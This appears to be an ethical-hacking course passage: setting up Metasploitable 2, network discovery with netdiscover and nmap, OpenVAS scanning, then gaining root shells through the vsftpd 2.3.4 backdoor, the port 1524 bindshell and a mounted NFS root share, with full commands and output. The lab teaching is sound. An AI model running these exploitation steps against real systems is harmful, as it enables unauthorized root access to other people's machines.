Reading Material
Getting Started & Lab Setup Lesson 1 of 15
In Progress

Setting Up Metasploitable 2 Virtual Machine

Introduction

Welcome! I am your instructor Mr. Dev. In this blog, we are going to set up Metasploitable 2 on my virtual box.

In this section, I am using Parrot Security Operating System (From where we are going to target the Vulnerable Machine). You can use Kali Linux also.

If you don't know what is ParrotSec, and also don't know about Kali Linux OS then click the below links:

  • Parrot Security
  • Kali Linux  
  • Kali Live USB persistence
  • Parrot vs Kali
  • Best Operating System for Ethical Hacking and Penetration testing

Setting Up Metasploitable 2 on Virtual Machine

The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. This virtual machine (VM) is compatible with VMWare, VirtualBox, and other common virtualization platforms.

In this section, we are going to use VirtualBox, which is a free and open-source software for virtualizing the x86 computing architecture.

Follow the below steps to get Metasploitable2 VMs on your VirtualBox:

Step 1: Download and install VirtualBox

Condition 1: If you are a Windows User?

Visit VirtualBox.org and click on the "Download button" to download the latest VirtualBox. Once downloaded, install it and then run.


If You are using Kali or ParrotSec?

It is easy to install any tool when you are a Linux user. You just have to input the appropriate command:

# sudo apt install virtualbox     #To install Virtualbox

Step 2: Add Extension Pack

Once You install VirtualBox you have to add the extension pack. You can download the extension pack from VirtualBox.org.

  • Launch VirtualBox > Preferences > Extention. Now add Extention by clicking the Plus sign and Accept The Licence.
Note: Sometimes on Linux, you may face an error! So before downloading, the extension pack always check the version Help > About VirtualBox. Then Download old builds from virtualbox.org.

Step 3: Download Metasploitable 2

Download the Metasploitable2 virtual machine from Sourceforge:

Although there are new versions of Metasploitable available, we will be using this version because it is easier to set up.

Step 4: Extract the Downloaded File

Once the Download is complete click on Extract here to unzip the file ( You can do similar with Linux).


Step 5: Create a VM

  • Go to VirtualBox → Click on "New". 
    • Change name: Metasploit
    • Type: Linux
    • Version: Other Linux 64 bit
  • Allocate Memory size
  • Use an exciting Disk Machine size
    • Import from the "Metasploitable.vmdx" file.
  • Click on Start.

Congratulations! You have successfully managed to install Metasploitable 2 on VirtualBox.

Step 6: Configure the Metasploitable machine network settings

It is most important for you to get a proper connection from the server without any errors.

Remember: the Metasploit server network and the Parrot security must be in the same network.

Click on File > Host Network Manager (ctrl + H):

If you have no Host-only adapter listed click on Create and enable DHCP (It will automatically allocate you a stable IP address):


If you are a Windows user then you might have installed any instance (Kali or ParrotSec) on your VirtualBox.

Change the Network Adapter setting to Host-only Adapter on both instances (Settings > Network):

Metasploitable Settings

Kali Settings

If you are using Kali or ParrotSec as the host machine then modify network settings on Metasploit 2:

Step 7: Log in to Metasploitable Virtual Machine

Once you Launch your VM, you have to wait for the terminal to finish loading. Your virtual machine should display the Metasploitable logo. ( IMPORTANT: Your mouse pointer may disappear, this is because the VM has captured it. Press the Ctrl+Alt keys together to get your mouse back).

Log in using the username: msfadmin and password: msfadmin

Great you have now successfully set up your environment. Let’s execute your first hack. Each hack in this manual will start with a goal.

Reading Material
Getting Started & Lab Setup Lesson 2 of 15
In Progress

Discovering Target IP Address using NetDiscover

The first step of most hacks is identifying the machine that we want to connect to. Each machine is identified by a unique IP address. In this section, we will discover the IP address of the Metasploitable 2 server using NetDiscover.

What is NetDiscover?

Netdiscover is an active/passive ARP reconnaissance tool, initially developed to gain information about wireless networks without DHCP servers in wardriving scenarios. It can also be used on switched networks. Built on top of libnet and libpcap, it can passively detect online hosts or search for them by sending ARP requests.

Furthermore, it can be used to inspect your network's ARP traffic or find network addresses using the auto-scan mode, which will scan for common local networks.

NetDiscover comes pre-installed with the ParrotSec Operating system. Use the help command to find out more information about its usage.

┌─[mrdev@mr-dev]─[~]
└──╼ $netdiscover -h
Netdiscover 0.8 [Active/passive ARP reconnaissance tool]
Written by: Jaime Penalba <jpenalbae@gmail.com>

Usage: netdiscover[-i device][-r range | -l file | -p] [-m file] [-F filter] [-s time] [-c count] [-n node] [-dfPLNS]
 -i device: your network device
  -r range: scan a given range instead of auto scan. 192.168.6.0/24,/16,/8
  -l file: scan the list of ranges contained into the given file
  -p passive mode: do not send anything, only sniff
  -m file: scan a list of known MACs and host names
  -F filter: customize pcap filter expression (default: "arp")
  -s time: time to sleep between each ARP request (milliseconds)
  -c count: number of times to send each ARP request (for nets with packet loss)
  -n node: last source IP octet used for scanning (from 2 to 253)
  -d ignore home config files for autoscan and fast mode
  -f enable fastmode scan, saves a lot of time, recommended for auto
  -P print results in a format suitable for parsing by another program and stop after active scan
  -L similar to -P but continue listening after the active scan is completed
  -N Do not print header. Only valid when -P or -L is enabled.
  -S enable sleep time suppression between each request (hardcore mode)

If -r, -l or -p are not enabled, netdiscover will scan for common LAN addresses.
┌─[✗]─[mrdev@mr-dev]─[~]
└──╼ $

Using NetDiscover

Follow the below instructions to find out the IP address of your target machine with the help of NetDiscover:

Step 1: Find out the interface name

To know the interface name run the ifconfig command on your terminal:

┌─[mrdev@mr-dev]─[~]
└──╼ $ifconfig
eth0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether **:**:**:**:**:**  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 28  bytes 1968 (1.9 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 28  bytes 1968 (1.9 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

vboxnet0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.56.1  netmask 255.255.255.0  broadcast 192.168.56.255
        inet6 fe80::800:27ff:fe00:0  prefixlen 64  scopeid 0x20<link>
        ether 0a:00:27:00:00:00  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 9  bytes 698 (698.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet **.**.***.*  netmask 255.255.255.0  broadcast 192.168.**.***
        inet6 2409:4062:211e:adfe:3ea1:5bae:c352:c3b4  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::12a6:dc1b:25d3:9d5c  prefixlen 64  scopeid 0x20<link>
        ether 3c:95:09:fd:f1:51  txqueuelen 1000  (Ethernet)
        RX packets 47056  bytes 53323352 (50.8 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 33505  bytes 6023950 (5.7 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

┌─[mrdev@mr-dev]─[~]
└──╼ $

You can see 4 interfaces connected to your network:

  • eth0: If your network is connected through an Ethernet cable.
  • lo0: This signifies that you are connected with a local network i.e., 127.0.0.1
  • vboxnet0: If your network is within the VirtualBox.
  • wlan0: If you are connected with wifi.

Note: This may vary with your computer. In real-world hacking, it is important to know the working structure of a network. To learn more about networks to understand them in a better way.

As our Metasploitable 2 is installed within Virtualbox so the interface is vboxnet0.

Step 2: Discover the network

If you have found out your interface name then, run the following command on your terminal:

┌─[mrdev@mr-dev]─[~]
└──╼ $sudo netdiscover -i vboxnet0
The netdiscover tool searches multiple IP addresses on your network in an attempt to discover which ones are currently being used. This tool lets you see all the machines that are currently connected to the vboxnet0:
 Currently scanning: 192.168.156.0/16   |   Screen View: Unique Hosts                                                                 
 2 Captured ARP Req/Rep packets, from 2 hosts.   Total size: 84                                                                       
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.2    08:00:27:a8:6e:59      1      42  PCS Systemtechnik GmbH                                                             
 192.168.56.3    08:00:27:52:1e:51      1      42  PCS Systemtechnik GmbH

After a couple of minutes, netdiscover should have captured 2 hosts and their IP addresses that are running within this network.

 (IMPORTANT: This IP will be different for everyone. You need to use the IP Address that is output in your terminal.)

Great now that you have the IP Addresses, but the confusion is which is the Metasploit server. You can find out your answer in the next chapter.

Reading Material
Reconnaissance & Vulnerability Scanning Lesson 3 of 15
In Progress

Port Scanning & Service Enumeration with Nmap

If you are a hacker or any security researcher then it is important to analyze different different types of vulnerabilities and bugs and find out a way to gain access to the server. In this way, you earn some knowledge of how an exploit works.


Only gaining access is not important, As you are an ethical Hacker, you have to understand how to fix any vulnerability or bug.

There are multiple ways to enumerate a server. 

What is Enumeration?

Enumeration is a process of extracting machine information like usernames, machine names, network resources, port information, shares, and services of a system. In this phase, the attacker creates an active connection to the system and performs directed queries to gain more information about the target.

For this purpose, the best tools can be used:

  • Nikto
  • Nmap
  • Zenmap
  • Maltego
  • Gobuster
  • WPScan
  • DNS enum
  • Netdiscover, and many more.

Scan the Network using Nmap

Nmap is one of the most widely used and most popular tools among cybersecurity professionals, security researchers, hackers & network engineers, and learners as well. It is an open-source licensed tool mainly used for performing discovery such as ports, operating systems, etc., and auditing or determining security over the network. (Learn More).

Follow the below steps to scan the machine.

Step 1: Find a Real one

In my previous, we have found two IP addresses and we don't know which one is our target. 

 Currently scanning: 192.168.156.0/16   |   Screen View: Unique Hosts                                                                 
 2 Captured ARP Req/Rep packets, from 2 hosts.   Total size: 84                                                                       
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.2    08:00:27:a8:6e:59      1      42  PCS Systemtechnik GmbH                                                             
 192.168.56.3    08:00:27:52:1e:51      1      42  PCS Systemtechnik GmbH

The best way to know which is our target is by scanning. It will give us the OS information and network information. Let's see how.

Open your terminal and run the following commands:

┌─[✗]─[mrdev@mr-dev]─[~]
└──╼ $nmap -sV 192.168.56.2
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-12 18:37 IST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 0.99 seconds
┌─[mrdev@mr-dev]─[~]
└──╼ $

From the above, we can't find out a lot more information. We can't find out the OS information. It means it is not our target.

Let's try the second one:

┌─[mrdev@mr-dev]─[~]
└──╼ $nmap -sV 192.168.56.3
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-12 18:38 IST
Nmap scan report for 192.168.56.3
Host is up (0.050s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login       OpenBSD or Solaris rlogind
514/tcp  open  shell       Netkit rshd
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
Service Info:Hosts: metasploitable.localdomain,irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.55 seconds
┌─[mrdev@mr-dev]─[~]
└──╼ $

From the above scan, we can find out that the running Operating system is a UNIX or Linux-based Operating System.

We can successfully find out our target!

Step 2: Note Down the Vulnerabilities and Open Ports

From Step 1, we have found out the target information and open ports with their running services with their versions.

You can use Google for each of the versions to find out if there are any vulnerabilities available on this version.

Reading Material
Reconnaissance & Vulnerability Scanning Lesson 4 of 15
In Progress

Mastering OpenVAS: Automated Vulnerability Scanning

In our previous article, we covered the basics of OpenVAS and its installation on Kali Linux. 

In this article, I'll walk you through the process of scanning a vulnerable web application.

Now, let's delve into how OpenVAS can help scan vulnerable web applications. For this demonstration, I'll be using Metasploitable2. 

The IP address of my Metasploitable2 server is 192.168.56.104

I won't delve into the step-by-step process of discovering the IP address here. To initiate a vulnerability scan, navigate to OpenVAS. 

On the OpenVAS dashboard, locate and click on the "Scan" tab. From the context menu, select "Task." 

Here, I encounter a welcome message, simply disregard it.

Here, there are two ways to initiate a scan. 

The purple-colored wizard icon guides you through the process in a step-by-step manner, asking for details at each stage. 

Alternatively, we'll opt for the non-wizard method. 

Click on "New task" to create a new scan task.

Clicking on "New Task," A form will appear. 

Here, you need to provide a name for the task. Since we're scanning Metasploitable2 in this example, let's name the task "Metasploitable2."

You can leave the comment section blank, as it's optional. Now, let's add the target in the "Scan Target" section. Look for the star icon, which is used to add target details.

Click on it. It will open a new form, where we can add a new target.

In the "Name" section, give it a name. In the "Host" section, input the IP address you wish to scan. No other changes are needed. Click "Create" to proceed. 

It will automatically return to the previous form. If you wish to schedule scanning, you can configure it here. 

Additionally, there's another important aspect in the scanning section of the form. You can choose between OpenVAS default and CVE. In this instance, I've selected OpenVAS default.

Next, you'll need to configure the scan settings. This will help determine the type of scan you want to perform. For this demonstration, I've opted for "Full and Fast." 

No further adjustments are necessary. Click on "Create" to finalize the task creation.

Once the task is created, you'll need to take action to start it. 

On the left side of the task, you'll find various options such as start, stop, move to trashcan, edit task, clone, and export task. Choose the appropriate action to proceed.

Click on "Start", to initiate the task. 

It may take some time to scan the entire host. 

An important feature to note is OpenVAS's auto-refresh function, which updates the progress automatically. Let's set it to refresh every 30 seconds.

After Scan Completed:

Select the Metasploitable2 task, to view details such as, what scan was attempted, how much time it took, what is the result, and many more.

Navigate back to the "Task" tab and select "Results." 

Here, you'll find a diagram chart and color-coded pie chart representing different severity levels. 

Click on any colored area to view the discovered vulnerabilities and their severity level.

At the bottom of the results page, you'll see the vulnerabilities listed along with the affected machines. 

Since only one machine was scanned in this instance, only its results are displayed. Keep in mind, that results will expand as more tasks are run.

Selecting any of these results will give you in-depth information about the vulnerability. 

Additionally, you can consult the CVE details in the reference section for further insights.

By clicking on any of these CVEs, you'll be redirected to detailed information about the specific vulnerability. 

For further insights, you can also utilize search engines or AI tools. You can sort the severity levels by clicking here.

On the scan tab, click on “reports” to get the detailed report based on the date when you scan. Click on it. 

Upon clicking on a report will display a chart diagram depicting the severity of the vulnerabilities. Beneath the diagram, you'll find a list of vulnerabilities that occurred, when you start scanning on the same date.

Click on it, and it will show you a list of a list of vulnerabilities that occurred when you start scanning on the same date.

Clicking any of these vulnerabilities will display detailed information about it.

Similar to what I've previously shown you on the results page, you also have the option to download the reported data in various formats. 

Select your preferred format and click on the download icon to save the report. 

The Anonymous XML format is recommended as it is compatible with popular web scanners and can also be used with msfconsole.

This data can be utilized in different applications for thorough analysis.

In both articles, we covered a lot of ground. We utilized the Docker program to swiftly and seamlessly install OpenVAS, a program that can be challenging to set up. Toward the end, I demonstrated the most efficient way to use OpenVAS. With practice, you'll become more accustomed to it.

If you have any doubts or questions related to this article, feel free to leave them in the comments section.

Reading Material
Exploiting Network Services & Backdoors Lesson 5 of 15
In Progress

Exploiting vsftpd 2.3.4 Backdoor for Instant Root Shell

The way hackers gain access to machines is through vulnerabilities. You can think of these vulnerabilities as open doors to your system. Hackers leverage these open doors (vulnerabilities) to gain access to systems. The Metasploitable server has an FTP vulnerability (vsftpd 2.3.4). 

In this section of the lab, you will exploit this vulnerability to gain access to the server.

Vulnerability: The Vulnerability that we are going to exploit in this lab is a malicious developer to an open-source UNIX FTP server called vsftpd. The back door allowed the attacker to gain access to the terminal on the vulnerable machine. The attack was activated when the attacker logged into the username ending in :) and an invalid password. Once the attack was activated it opened a reverse shell on port 6200.

Reverse Shell: A reverse shell is a malicious program that connects to an attacker’s machine, allowing the attacker to execute terminal commands on the compromised machine. In a later lab, we will write a reverse shell.

Background: A FTP (File Transfer Protocol) server is a program that allows users to upload and download files from a machine.

In this section, I will demonstrate you in 3 different ways:

Method 1: Manually Exploit

Follow the below instructions to get a backdoor connection:

Step 1: Connect to the FTP server using telnet

Open the terminal, and type the following command:

  • Remember to add the port number towards the end:  [Important: telnet is an old technology, no backspace]
┌─[mrdev@mr-dev]─[~]
└──╼ $ telnet 192.168.56.3 21
Trying 192.168.56.3...
Connected to 192.168.56.3.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
USER user:)
331 Please specify the password.
PASS pass

This is a part of a vulnerability that was placed in the open-source FTP server, by an unknown user. This user created this vulnerability by modifying the opensource code for the vsFTP server, to include a check for :) in the username field if a user included a :) in the username, the backdoor was activated.

So you might be wondering. What is a backdoor? 

A backdoor is a program, that an attacker places on a machine that gives the hacker access to that machine’s terminal.

In the step above, the attacker is activating the backdoor. In the subsequent steps, the attacker connects to the backdoor running on port 6200 and issues a command to the terminal.

Step 2: Connect the backdoor using Netcat

Now that you activated the back door you can log in to get access to the terminal (Get Shell). By connecting to the “ backdoor ” that is running on 6200

Connect the backdoor using Netcat.

Notice: Executes the ls command in the terminal of the compromised machine and returns the directory listing on the machine. 

┌─[mrdev@mr-dev]─[~]
└──╼ $  nc 192.168.56.3 6200          # To get interact
id          # To find out user and group names and numeric ID's
uid=0(root) gid=0(root)
ls          #To list the directories and files
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz

Method 2: Using msfconsole (Metasploit Framework)

Using Metasploit is quite the easiest to exploit a machine. This will work if the exploit is within the search list.

Remember: If you want to be an Elite Hacker then you have to study coding and find out your own path to get a backdoor connection.

Follow the below steps to get exploit the server:

Step 1: Start the Metasploit Framework

Metasploit Framework comes preinstalled with ParrotSec and also in Kali. You can run it from Application → Pentesting → Exploitation Tools → Metasploit Framework → Metasploit Framework's console.

Executing msfconsole-start
[sudo] password for mrdev: 
[i] Database already started
[i] The database appears to be already configured, skipping initialization
[i] Database already started
[*] Initializing msfd...
[*] Running msfd...

MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM                MMMMMMMMMM
MMMN$                           vMMMM
MMMNl  MMMMM             MMMMM  JMMMM
MMMNl  MMMMMMMN       NMMMMMMM  JMMMM
MMMNl  MMMMMMMMMNmmmNMMMMMMMMM  JMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMNM   MMMMMMM   MMMMM  jMMMM
MMMNI  WMMMM   MMMMMMM   MMMM#  JMMMM
MMMMR  ?MMNM             MMMMM .dMMMM
MMMMNm `?MMM             MMMM` dMMMMM
MMMMMMN  ?MM             MM?  NMMMMMN
MMMMMMMMNe                 JMMMMMNMMM
MMMMMMMMMMNm,            eMMMMMNMMNMM
MMMMNNMNMMMMMNx        MMMMMMNMMNMMNM
MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM
        https://metasploit.com


       =[ metasploit v6.1.9-dev                           ]
+ -- --=[ 2169 exploits - 1149 auxiliary - 398 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: After running db_nmap, be sure to 
check out the result of hosts and services

msf6 > 

Step 2: Seach Exploit

Run the search command to find if is there any exploit available or not:

msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

Step 3: Use Exploit

Run the "use" command to use the exploit to get interact with our target: You can also use the path (use eploit/unix/ftp/vsftpd_234_backdoor).

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > 

Step 4: Configure exploit options

Run show options and check the needed parameters.

  • Here it only needs RHOSTS (Remote Hosts).
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options 

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploi
                                      t
   RPORT   21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.3
RHOSTS => 192.168.56.3
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

Step 5: Gain Access

Once All done! run exploit to get the shell:

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.56.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.3:21 - USER: 331 Please specify the password.
[+] 192.168.56.3:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.3:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.1:43149 -> 192.168.56.3:6200) at 2022-01-12 19:35:09 +0530

id
uid=0(root) gid=0(root)
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz

Method 3: Using Armitage

Armitage also comes pre-installed with ParrotSec (Learn More).

Follow the below steps to exploit using Armitage:

Step 1: Setting up Armitage

You can run it from Application → Pentesting → Exploitation Tools → Metasploit Framework →  Armitage.

Once started click Connect:


Step 2: Quick Scan

Once you get connected you need to scan the hosts [Hosts→Scan→Quick Scan or Quick Scan(OS Scan)]. Enter the scan range to the vboxnet0 IP address on your machine in my case 192.168.56.1/24.


Step 3: Find Attacks

Once You find out your target then click on Attacksfind Attacks.

Note: Some time it may not work. Click on ArmitageSet Exploit RankPoor.

Step 4: Attack using vsftpd 2.3.4

Right-click on the target machine → Attack ftp vsftpd_234_backdoor.


Once everything ok click on Launch. If the exploit is successful then the look will be changed to attack mode:


Step 5: Get shell interaction

Right-click on the target machine → Shell 1  interact. Now you can run commands in the below shells:


How to fix it?

So how do we fix this vulnerability? Newer versions of the vsftpd FTP server, have identified and patched these vulnerabilities, so the best way to secure this server is an updated version of vsftpd. sudo apt-get update vsftpd.(The Metasploitable machine is designed to be vulnerable so it is not configured to support updates.)

Reading Material
Exploiting Network Services & Backdoors Lesson 6 of 15
In Progress

Gaining Root Shell from Bindshell Service on Port 1524

Goal: Gain root shell using telnet.

In my previous blog, we exploited the target using a Brute-force attack. In this chapter, we are going to gain root access from the bind shell.

From Nmap scanning, we have found that the bind shell service opens on port no: 1524.

PORT     STATE SERVICE     VERSION
1524/tcp open  bindshell   Metasploitable root shell

It is easy to gain access to the Linux shell by the following command:

┌─[mrdev@mr-dev]─[~]
└──╼ $telnet 192.168.56.3 1524
Trying 192.168.56.3...
Connected to 192.168.56.3.
Escape character is '^]'.
root@metasploitable:/#uname -r
2.6.24-16-server
root@metasploitable:/# root@metasploitable:/#uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
root@metasploitable:/# 
Reading Material
Exploiting Network Services & Backdoors Lesson 7 of 15
In Progress

Exploiting Misconfigured NFS Shares with SSH Key Injection

NFS is a Network File Sharing protocol that allows users to share directories and files over the network across different operating systems. In addition, it will enable remote systems to be accessible locally when the shares are mounted. The accessibility of the NFS shares is based on whatever privileges are assigned to the share.

Goal: Gain unauthorized access to sensitive data or obtain a shell on the system.

From the previous chapter, we have found out that ports: 111 and 2049 ports are open.

PORT     STATE SERVICE     VERSION
111/tcp  open  rpcbind     2 (RPC #100000)
2049/tcp open  nfs         2-4 (RPC #100003)

Let's again, examine the Metasploitable 2 server with the help of the Nmap scripting engine:

┌─[mrdev@mr-dev]─[~]
└──╼ $sudo nmap -sC -sV --script=nfs-ls 192.168.56.3 -p 111,2049
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-20 16:16 IST
Nmap scan report for 192.168.56.3
Host is up (0.0017s latency).

PORT     STATE SERVICE VERSION
111/tcp  open  rpcbind 2 (RPC #100000)
| nfs-ls: Volume /
|   access: Read Lookup Modify Extend Delete NoExecute
| PERMISSION  UID  GID  SIZE   TIME                 FILENAME
| drwxr-xr-x  0    0    4096   2012-05-14T03:35:33  bin
| drwxr-xr-x  0    0    4096   2010-04-16T06:16:02  home
| drwxr-xr-x  0    0    4096   2010-03-16T22:57:40  initrd
| lrwxrwxrwx  0    0    32     2010-04-28T20:26:18  initrd.img
| drwxr-xr-x  0    0    4096   2012-05-14T03:35:22  lib
| drwx------  0    0    16384  2010-03-16T22:55:15  lost+found
| drwxr-xr-x  0    0    4096   2010-03-16T22:55:52  media
| drwxr-xr-x  0    0    4096   2010-04-28T20:16:56  mnt
| drwxr-xr-x  0    0    4096   2012-05-14T01:54:53  sbin
| drwxr-xr-x  0    0    4096   2010-04-28T04:06:37  usr
|_
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/udp   nfs
|   100005  1,2,3      36117/udp   mountd
|   100005  1,2,3      48262/tcp   mountd
|   100021  1,3,4      34178/udp   nlockmgr
|   100021  1,3,4      39330/tcp   nlockmgr
|   100024  1          36509/tcp   status
|_  100024  1          43134/udp   status
2049/tcp open  nfs     2-4 (RPC #100003)
MAC Address: 08:00:27:52:1E:51 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.45 seconds
┌─[mrdev@mr-dev]─[~]
└──╼ $

We see that both of them are open, and on port 111, a “/” directory is shown under NFS mount that we can try to mount. The “/” file system is usually owned by the root. If we are allowed to mount to the “/” path, we will be able to read root files and maybe write as well.

Mounting the '/' share

Let’s start mounting the “/” share and see what type of privileges we have. 

1. We will first start with creating a new directory locally in the “/mnt” directory, and I’ll call it metasploitable_share for the sake of this demo.

┌─[mrdev@mr-dev]─[~]
└──╼ $sudo mkdir -p /mnt/metasploitabe_share
[sudo] password for mrdev: 
┌─[mrdev@mr-dev]─[~]
└──╼ $cd /mnt/
┌─[mrdev@mr-dev]─[/mnt]
└──╼ $ls
total 4
drwxr-xr-x  1 root root   40 Jan 20 18:10 .
drwxr-xr-x  1 root root  292 Jan 12 21:05 ..
drwxr-xr-x 21 root root 4096 May 21  2012 metasploitable_share

2. Mount the remote the NFS share “/” locally with the mount utility on Linux. Before that make sure you have enabled the superuser privileges:

┌─[mrdev@mr-dev]─[/mnt]
└──╼ $sudo su
┌─[✗]─[root@mr-dev]─[/mnt]
└──╼ #sudo mount -t nfs 192.168.56.3:/ /mnt/metasploitable_share/
┌─[root@mr-dev]─[/mnt]
└──╼ #

3. On successful mount, you can list the directories and files on metasploitable_share directory:

┌─[root@mr-dev]─[/mnt]
└──╼ #cd metasploitable_share/
┌─[root@mr-dev]─[/mnt/metasploitable_share]
└──╼ #ls -al
total 124
drwxr-xr-x 21 root root  4096 May 21  2012 .
drwxr-xr-x  1 root root    40 Jan 20 18:10 ..
drwxr-xr-x  2 root root  4096 May 14  2012 bin
drwxr-xr-x  3 root root  4096 Apr 29  2010 boot
lrwxrwxrwx  1 root root    11 Apr 29  2010 cdrom -> media/cdrom
drwxr-xr-x  2 root root  4096 Apr 29  2010 dev
drwxr-xr-x 94 root root  4096 Jan 20 14:55 etc
drwxr-xr-x  6 root root  4096 Apr 16  2010 home
drwxr-xr-x  2 root root  4096 Mar 17  2010 initrd
lrwxrwxrwx  1 root root    32 Apr 29  2010 initrd.img -> boot/initrd.img-2.6.24-16-server
drwxr-xr-x 13 root root  4096 May 14  2012 lib
drwx------  2 root root 16384 Mar 17  2010 lost+found
drwxr-xr-x  4 root root  4096 Mar 17  2010 media
drwxr-xr-x  3 root root  4096 Apr 29  2010 mnt
-rw-------  1 root root 31056 Jan 20 14:55 nohup.out
drwxr-xr-x  2 root root  4096 Mar 17  2010 opt
dr-xr-xr-x  2 root root  4096 Apr 29  2010 proc
drwxr-xr-x 13 root root  4096 Jan 20 14:55 root
drwxr-xr-x  2 root root  4096 May 14  2012 sbin
drwxr-xr-x  2 root root  4096 Mar 17  2010 srv
drwxr-xr-x  2 root root  4096 Apr 29  2010 sys
drwxrwxrwt  6 root root  4096 Jan 20 16:55 tmp
drwxr-xr-x 12 root root  4096 Apr 28  2010 usr
drwxr-xr-x 14 root root  4096 Mar 17  2010 var
lrwxrwxrwx  1 root root    29 Apr 29  2010 vmlinuz -> boot/vmlinuz-2.6.24-16-server
┌─[root@mr-dev]─[/mnt/metasploitable_share]
└──╼ #

